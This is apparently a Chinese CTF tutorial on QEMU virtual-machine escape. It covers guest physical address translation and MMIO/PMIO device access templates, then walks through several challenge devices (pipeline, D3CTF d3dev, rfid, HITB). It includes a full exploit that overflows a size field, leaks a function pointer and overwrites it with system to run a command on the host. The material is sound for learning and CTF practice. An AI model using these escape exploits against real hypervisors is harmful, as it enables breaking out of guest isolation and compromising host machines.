qemu用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备中,漏洞形成一般是修改qemu-system代码,所以漏洞存在于qemu-system文件内。而逃逸就是指利用漏洞从qemu-system模拟的这个小系统逃到主机内,从而在linux主机内达到命令执行的目的。
因为使用qemu-system模式启动之后相当于在linux内又运行了一个小型linux,所以存在两个地址转换问题;从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址。
用户的物理内存实际上是qemu程序mmap出来的,看下面的launsh脚本,-m 1G也就是mmap一块1G的内存
这块内存可以在qemu进程的maps文件下查看,sudo cat /proc/pid/maps

在64位系统内部,虚拟地址由页号和页内偏移组成,我们借用前人的代码来学习一下如何将虚拟地址转换成物理地址。
下面的程序申请了一个buffer,并写入字符串——“Where am I?”,之后打印他的物理地址
将其打包放到qemu系统内,然后进入qemu内部运行该c文件。再用gdb attach到qemu进程,查看mmap的内存。

找到qemu的基地址之后,用字符串的物理地址与基地址相加,即可得到虚拟地址。

PCI 设备都有一个 PCI 配置空间来配置 PCI 设备,其中包含了关于 PCI 设备的特定信息。这些信息一般只需要关注Device ID和Vendor ID即可。


拥有了这些信息即可在qemu系统内部使用lspci命令来找到该设备,从而能够进行交互。交互问题我们后面再细说。
通过kernel提供的sysfs,我们可以直接映射出设备对应的内存,具体方法是打开类似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件,并用mmap将其映射到进程的地址空间,就可以对其进行读写了。这里的设备号0000:00:04.0是需要事先在/proc/iomem中看好的。当映射完成后,就可以对这块内存进行读写操作了,内存读写会触发到qemu内设备的mmio处理函数(一般会叫xxxx_mmio_read/xxxx_mmio_write),传入的参数是写入的地址偏移和具体的值。后面会放出一个exp模板。
也可以通过使用/dev/mem文件来映射物理内存。
内存和 I/O 设备共享同一个地址空间。 MMIO 是应用得最为广泛的一种 I/O 方法,它使用相同的地址总线来处理内存和 I/O 设备,I/O 设备的内存和寄存器被映射到与之相关联的地址。当 CPU 访问某个内存地址时,它可能是物理内存,也可以是某个 I/O 设备的内存,用于访问内存的 CPU 指令也可来访问 I/O 设备。每个 I/O 设备监视 CPU 的地址总线,一旦 CPU 访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳 I/O 设备,CPU 必须预留给 I/O 一个地址区域,该地址区域不能给物理内存使用。
在 PMIO 中,内存和 I/O 设备有各自的地址空间。 端口映射 I/O 通常使用一种特殊的 CPU 指令,专门执行 I/O 操作。在 Intel 的微处理器中,使用的指令是 IN 和 OUT。这些指令可以读/写 1,2,4 个字节(例如:outb, outw, outl)到 IO 设备上。I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在 CPU 物理接口上增加一个 I/O 引脚,要么增加一条专用的 I/O 总线。由于 I/O 地址空间与内存地址空间是隔离的,所以有时将 PMIO 称为被隔离的 IO(Isolated I/O)。在linux中可以通过iopl和ioperm这两个系统调用对port的权能进行设置。
通过resource0来实现,需要根据需要来修改函数参数是uint64_t还是uint32_t亦或者是char
mmap参数PROT_READ(1) | PROT_WRITE(2)可读写,MAP_SHARED共享的内存。
为了方便调试,我写了一个解压和压缩脚本,如下
该脚本的作用是将文件系统解压在新建的rootfs文件夹内,再将写好的exp.c放到解压的文件系统的root目录下,将其编译成可执行文件,再重打包回rootfs.cpio,最后删掉rootfs文件夹
进行调试时,先进行打包操作,然后运行launch.sh文件,再起一个终端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system进程之上。可以用ps -aux | grep qemu来获得进程号。
在gdb内下断点,就可以愉快的调试了。下面会有介绍
在了解了以上的知识之后,就可以进行实操。
先观察启动脚本launch.sh,先删掉timeout,否则超时就退出了。
由参数"-device pipeline"得我们所主要逆向的部分是在pipeline*,将qemu-system-x86_64放入ida,由于存在符号,所以直接在函数栏里搜pipeline.

漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write这些对内存进行读写操作的函数内。

发现根本看不懂,都和opaque这个变量有关,这肯定是结构体,而结构体名字一般和函数名pipeline有相似,我们来转变一下,方法效果如下:



发现一个很重要的结构体贯穿四个读写函数;

逆向结果如下,总体就是从EncPipeLine或DecPipeLine内读取数据,没有越界读,最后return处有个"8",因为
EncPipeLine或DecPipeLine的data变量在偏移位4处,然后v4为结构体处-4。需要静心去逆。

与pipeline_mmio_read函数大同小异,漏洞并不在这里,功能是将val写入EncPipeLine或DecPipeLine内。

addr为0返回idx,为4返回size。

猜测漏洞就在这里了,因为巨长。
addr为0返回idx,addr是4写入size
addr为12时,看到了encode,在pipeline_instance_init函数中发现,好像是base64加密的实现。并且会将加密后的数据放入DecPipeLine结构体内,同理
addr为16时,就是解密,会将解密后的数据放入EncPipeLine结构体的data变量内
以上就是函数基本功能


因为qemu类型的题目大部分都是越界读写的问题,所以我们把注意力着重放在size上。我把注释写到下面的代码内。
使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff为最大值:
下面测试漏洞会不会覆盖掉size位
看效果
gdb attach之后,将断点下到pipeline_mmio_write,就可以愉快的c了
执行pmio_write(16,0)之前;

执行pmio_write(16,0)之后,看到decPipe[3]的size被修改为了0xff,溢出达到,可以进行越界读写。

既然已经完成了size位的劫持,再通过mmio_read泄露encode函数地址,修改encode指针为system,再pima_write(12,0)即可命令执行
效果如下:

这题是D3CTF-2021,需要使用ubuntu20的环境进行操作,ubuntu18循环报错,ubuntu22没试过。第一题叙述较为详细,后面例题我便只分析漏洞处和整体代码。
该题目也是有mmio和pmio两种访存方式,可以套用上面的exp模板,然后分析代码喽~~~
直接开幕雷击,看到了一堆什么异或之类的,问了下re师傅,是tea加密解密。一开始我是不知道这里是有越界读的,后面会分析道,那些异或是tea decode,我们获得的数据会经过decode,若我们想得到原始值,需要对其进行encode。

和read函数类似,若mmio_write_part为1,则对数据进行加密,若为0,则进行写入
很简单,获得opaque结构体的数据

addr为8时,对seek进行赋值;
addr为0x1c时,执行函数;
addr为4时,将key[]清0;
addr为0时,设置memory_mode.
由d3dev_pmio_write函数得知可为opaque->seek赋值为0x100,blocks有0x800字节,d3dev_mmio_read内的
data = opaque->blocks[opaque->seek + (addr >> 3)],此处的blocks是通过index的方式进行访存,而blocks又是dq的数据(8 bytes),所以seek的0x100可以访问到的内存就是0-0x800,而通过addr进行越界读;
d3dev_mmio_write也是如此,可以越界写,我们就有了任意读写d3devState这个结构体附近的内存的"权利".
在pmio_write里有执行system的机会,将opaque->rand_r覆盖为system,opaque->r_seed覆盖为"/bin/sh"
首先查看launch.sh脚本
设备是rfid,去ida内函数栏搜索rfid,并没有找到,是去掉符号表
这题没有符号表,所以不能在函数栏内搜索,换一个思路去搜索字符串rfid来寻找相应函数

下面的便是rfid_class_init

想要找到mmio或者pmio对应的write/read函数,需要定位到 xxxxxxx_realize函数,例如d3dev这题,定位到了pci_d3dev_realize函数,发现&d3dev_mmio_ops和&d3dev_pmio_ops,跟进去发现有实现方法。而pci_d3dev_realize在d3dev_class_init内引用



由以上分析可得,sub_5713A8函数内的sub_571043为realize函数

点进去off_FE9720,发现了mmio的实现。

比对字符串,然后执行命令,漏洞肯定在另一个函数内了,看到这里应该就有了具体思路,劫持byte_122FFE0为"wwssadadBABA",复写command变量即可

write函数相当于一个菜单,以((addr >> 20) & 0xF)作为菜单选项,将字符传递于byte_122FFE0,当result为6时,将val赋值给command.由于存在移位等问题,exp的mmio_write/mmio_read函数的实现需要变化一下.
本题没有符号表,为调试增加了比较大的困难,但是由于题目比较简单,不调试也可以做出来,为了进行学习,我来尝试一下调试。应该就和普通的pwn题一样调试,用b *$rebase(addr)下断点
测试环境ubuntu20可以,ubnutu18不行

下好了断点,c执行,然后运行exp,便可以愉快的观察程序运行


效果如图:

直接扔ida,有符号✌️,搜索一下只发现了mmio_read/mmio_write,然后恢复一下结构体;

查看一下主要操作的结构体

返回各个结构体内的数据,不存在漏洞
正常对HitbState字段写入,但是有一个函数调用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
在hitb_mmio_write内调用了timer_mod,qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用
函数根据cmd来选择不同分支,cmd最低位必须为1;
漏洞在hitb_dma_timer内的cpu_physical_memory_rw函数,dma_buf[]内的索引可控,就造成可以越界读写;
翻看前面的结构体发现,可以越界读enc地址,进行泄露,再将计算出的system@plt写入enc内,将"cat flag"写入dma.buf
参考链接:
327K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3q4F1P5s2g2S2L8X3u0D9K9h3&6Y4j5X3I4A6L8X3N6Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8X3y4@1k6W2)9J5c8Y4m8%4L8W2)9J5c8U0t1H3x3U0u0Q4x3V1j5H3y4W2)9J5c8U0l9&6i4K6u0r3M7h3g2E0N6g2)9J5c8R3`.`.
c57K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0t1#2y4o6V1H3y4W2)9J5x3$3R3K6i4K6u0V1y4b7`.`.
4d2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2Y4K9h3q4F1N6r3u0J5j5h3&6U0K9q4)9J5k6h3y4F1i4K6u0r3x3U0l9I4z5g2)9J5c8U0l9%4i4K6u0r3x3e0N6Q4x3V1k6h3e0g2)9J5y4e0t1H3k6i4y4U0j5i4m8W2i4K6t1#2x3U0m8Q4x3U0g2q4y4q4)9J5y4f1t1&6i4K6t1#2z5p5u0Q4x3U0f1J5x3q4q4q4e0g2g2Q4x3U0f1J5x3p5y4S2M7$3g2Q4x3U0f1J5x3q4y4@1N6h3c8&6i4K6u0r3
60aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2Y4K9h3q4F1N6r3u0J5j5h3&6U0K9q4)9J5k6h3y4F1i4K6u0r3x3U0l9J5x3q4)9J5c8U0l9I4i4K6u0r3x3o6u0Q4x3V1k6o6g2p5k6Q4x3U0f1J5x3q4q4q4e0g2g2Q4x3U0f1J5x3q4)9J5y4f1f1^5i4K6t1#2z5e0W2Q4x3U0f1&6b7g2)9J5y4f1f1$3i4K6t1#2z5p5u0Q4x3U0f1&6c8W2)9J5y4f1f1$3i4K6t1#2z5f1y4Q4x3U0g2n7b7g2)9J5y4f1f1&6i4K6t1#2z5o6m8Q4x3U0f1^5x3#2)9J5y4f1f1&6i4K6t1#2z5o6m8Q4x3U0g2n7z5q4)9J5y4f1f1@1i4K6t1#2b7U0W2Q4x3U0f1^5b7V1S2u0g2p5u0Q4x3X3c8s2f1@1g2o6i4K6u0V1x3U0l9I4y4#2)9J5k6r3u0S2j5Y4W2I4k6h3#2#2i4K6u0r3
题目下载地址
链接: ccbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4N6W2k6B7d9U0k6G2K9p5S2s2j5g2A6f1b7g2k6X3c8o6j5^5e0%4u0D9f1b7`.`. 提取码: eeee
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
int fd;
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
////下面是网上其他人的代码,只是为了理解上面的代码
//一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
//pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
//最终 vir/2^12 * 8 = (vir / 2^9) & ~7
//这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你 vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0
// int page_size=getpagesize();
// unsigned long vir_page_idx = vir/page_size;
// unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
// 确保页面存在——page is present.
if (!(pme & PFN_PRESENT))
return -1;
// physical frame number
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
int fd;
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
////下面是网上其他人的代码,只是为了理解上面的代码
//一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
//pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
//最终 vir/2^12 * 8 = (vir / 2^9) & ~7
//这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你 vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0
// int page_size=getpagesize();
// unsigned long vir_page_idx = vir/page_size;
// unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
// 确保页面存在——page is present.
if (!(pme & PFN_PRESENT))
return -1;
// physical frame number
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
物理内存可由
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
//init
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
if (fd == -1)
{
perror("mmio_fd open failed");
exit(-1);
}
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
//init
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
if (fd == -1)
{
perror("mmio_fd open failed");
exit(-1);
}
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
//init
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource来获得
//0x00000000fea00000 0x00000000feafffff 0x0000000000040200
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
//init
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource来获得
//0x00000000fea00000 0x00000000feafffff 0x0000000000040200
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
char* mmio_mem;
int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 ){
perror("I/O permission is not enough");
exit(-1);
}
}
char* mmio_mem;
int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 ){
perror("I/O permission is not enough");
exit(-1);
}
}
mkdir ./rootfs
cd ./rootfs
cpio -idmv < ../rootfs.cpio
cp ../exp.c ./root
gcc -o ./root/exp -static ./root/exp.c
find . | cpio -o --format=newc > ../rootfs.cpio
cd ..
rm -rf ./rootfs
mkdir ./rootfs
cd ./rootfs
cpio -idmv < ../rootfs.cpio
cp ../exp.c ./root
gcc -o ./root/exp -static ./root/exp.c
find . | cpio -o --format=newc > ../rootfs.cpio
cd ..
rm -rf ./rootfs
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int sizea; // [rsp+4h] [rbp-4Ch]
unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
int pIdx; // [rsp+28h] [rbp-28h]
int pIdxa; // [rsp+28h] [rbp-28h]
int pIdxb; // [rsp+28h] [rbp-28h]
int useSize; // [rsp+2Ch] [rbp-24h]
int ret_s; // [rsp+34h] [rbp-1Ch]
int ret_sa; // [rsp+34h] [rbp-1Ch]
char *iData; // [rsp+40h] [rbp-10h]
if ( size == 4 )
{
if ( addr == 4 ) // addr = 4
{
pIdx = opaque->pIdx;
if ( pIdx <= 7 )
{
if ( pIdx > 3 )
{
if ( val <= 0x40 )
*&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;
}
else if ( val <= 0x5C )
{
opaque->encPipe[pIdx].size = val;
}
}
}
else if ( addr > 4 )
{
if ( addr == 12 ) // addr = 12
{
pIdxa = opaque->pIdx;
if ( pIdxa <= 7 )
{
if ( pIdxa <= 3 )
pIdxa += 4; //放入解密结构体内
sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //
if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出
{
ret_s = opaque->encode( // encode
&opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密
&opaque->mmio.size + 0x60 * pIdxa + 8,
sizea);
if ( ret_s != -1 )
*(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;
}
}
}
else if ( addr == 16 )
{
pIdxb = opaque->pIdx;
if ( pIdxb <= 7 )
{
if ( pIdxb > 3 )
pIdxb -= 4;
sizeb = opaque->encPipe[pIdxb].size;
iData = opaque->encPipe[pIdxb].data;
if ( sizeb <= 0x5C )
{
if ( sizeb )
iData[sizeb] = 0;
useSize = opaque->strlen(iData);
if ( 3 * (useSize / 4) + 1 <= 64 ) // 84,85,86,87
{ //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。
ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密
if ( ret_sa != -1 )
opaque->decPipe[pIdxb].size = ret_sa;
}
}
}
}
}
else if ( !addr )
{
opaque->pIdx = val;
}
}
}
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int sizea; // [rsp+4h] [rbp-4Ch]
unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
int pIdx; // [rsp+28h] [rbp-28h]
int pIdxa; // [rsp+28h] [rbp-28h]
int pIdxb; // [rsp+28h] [rbp-28h]
int useSize; // [rsp+2Ch] [rbp-24h]
int ret_s; // [rsp+34h] [rbp-1Ch]
int ret_sa; // [rsp+34h] [rbp-1Ch]
char *iData; // [rsp+40h] [rbp-10h]
if ( size == 4 )
{
if ( addr == 4 ) // addr = 4
{
pIdx = opaque->pIdx;
if ( pIdx <= 7 )
{
if ( pIdx > 3 )
{
if ( val <= 0x40 )
*&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;
}
else if ( val <= 0x5C )
{
opaque->encPipe[pIdx].size = val;
}
}
}
else if ( addr > 4 )
{
if ( addr == 12 ) // addr = 12
{
pIdxa = opaque->pIdx;
if ( pIdxa <= 7 )
{
if ( pIdxa <= 3 )
pIdxa += 4; //放入解密结构体内
sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //
if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出
{
ret_s = opaque->encode( // encode
&opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密
&opaque->mmio.size + 0x60 * pIdxa + 8,
sizea);
if ( ret_s != -1 )
*(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;
}
}
}
else if ( addr == 16 )
{
pIdxb = opaque->pIdx;
if ( pIdxb <= 7 )
{
if ( pIdxb > 3 )
pIdxb -= 4;
sizeb = opaque->encPipe[pIdxb].size;
iData = opaque->encPipe[pIdxb].data;
if ( sizeb <= 0x5C )
{
if ( sizeb )
iData[sizeb] = 0;
useSize = opaque->strlen(iData);
if ( 3 * (useSize / 4) + 1 <= 64 ) // 84,85,86,87
{ //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。
ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密
if ( ret_sa != -1 )
opaque->decPipe[pIdxb].size = ret_sa;
}
}
}
}
}
else if ( !addr )
{
opaque->pIdx = val;
}
}
}
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_io(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_io(2,0x5c,0,data);
// decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff
pmio_write(16,0);
return 0;
}
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_io(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_io(2,0x5c,0,data);
// decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff
pmio_write(16,0);
return 0;
}
char* mmio_mem;
int pmio_base = 0xc040;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
uint64_t write_io(int idx,int size,int addr,char* data){
pmio_write(0,idx); //get idx rsi,rdx
pmio_write(4,size); // set size rsi,rdx
for(int i=0;i<strlen(data);i++)
{
mmio_write(addr+i,data[i]);
}
}
uint64_t read_io(int idx,int size,int addr,char* data){
pmio_write(0,idx);
for(int i=0;i<size;i++)
{
data[i] = mmio_read(addr+i);
}
}
int main()
{
//init
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
iopl(3);
//char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";
//char data[100] = {0};
//write_io(2,0x5c,0,dedata); //idx,size,addr,data
//pmio_write(16,0); //
//read_io(6,4,0,data);
//printf("[+] %s\n",data);
char data[100] = {0};
memset(data,0,100);
memset(data,'/',87);
write_io(2,0x5c,0,data); /////////////////////
pmio_write(16,0); //decode //////////////////
char leak[16];
read_io(7,8,0x44,leak); /////////////
printf("[+] leak:0x%s\n",leak);
//printf("[+] leak:0x%llx\n", leak);
long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;
long long system = base + 0x2C0AD0;
printf("[+] base:0x%llx\n",base);
printf("[+] system:0x%llx\n",system);
write_io(7,0x5c,0x44,&system); //////////////
char command[] = "cat flag";
write_io(4,0x3f,0,command);
pmio_write(12,0);
return 0;
}
char* mmio_mem;
int pmio_base = 0xc040;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
uint64_t write_io(int idx,int size,int addr,char* data){
pmio_write(0,idx); //get idx rsi,rdx
pmio_write(4,size); // set size rsi,rdx
for(int i=0;i<strlen(data);i++)
{
mmio_write(addr+i,data[i]);
}
}
uint64_t read_io(int idx,int size,int addr,char* data){
pmio_write(0,idx);
for(int i=0;i<size;i++)
{
data[i] = mmio_read(addr+i);
}
}
int main()
{
//init
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
iopl(3);
//char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";
//char data[100] = {0};
//write_io(2,0x5c,0,dedata); //idx,size,addr,data
//pmio_write(16,0); //
//read_io(6,4,0,data);
//printf("[+] %s\n",data);
char data[100] = {0};
memset(data,0,100);
memset(data,'/',87);
write_io(2,0x5c,0,data); /////////////////////
pmio_write(16,0); //decode //////////////////
char leak[16];
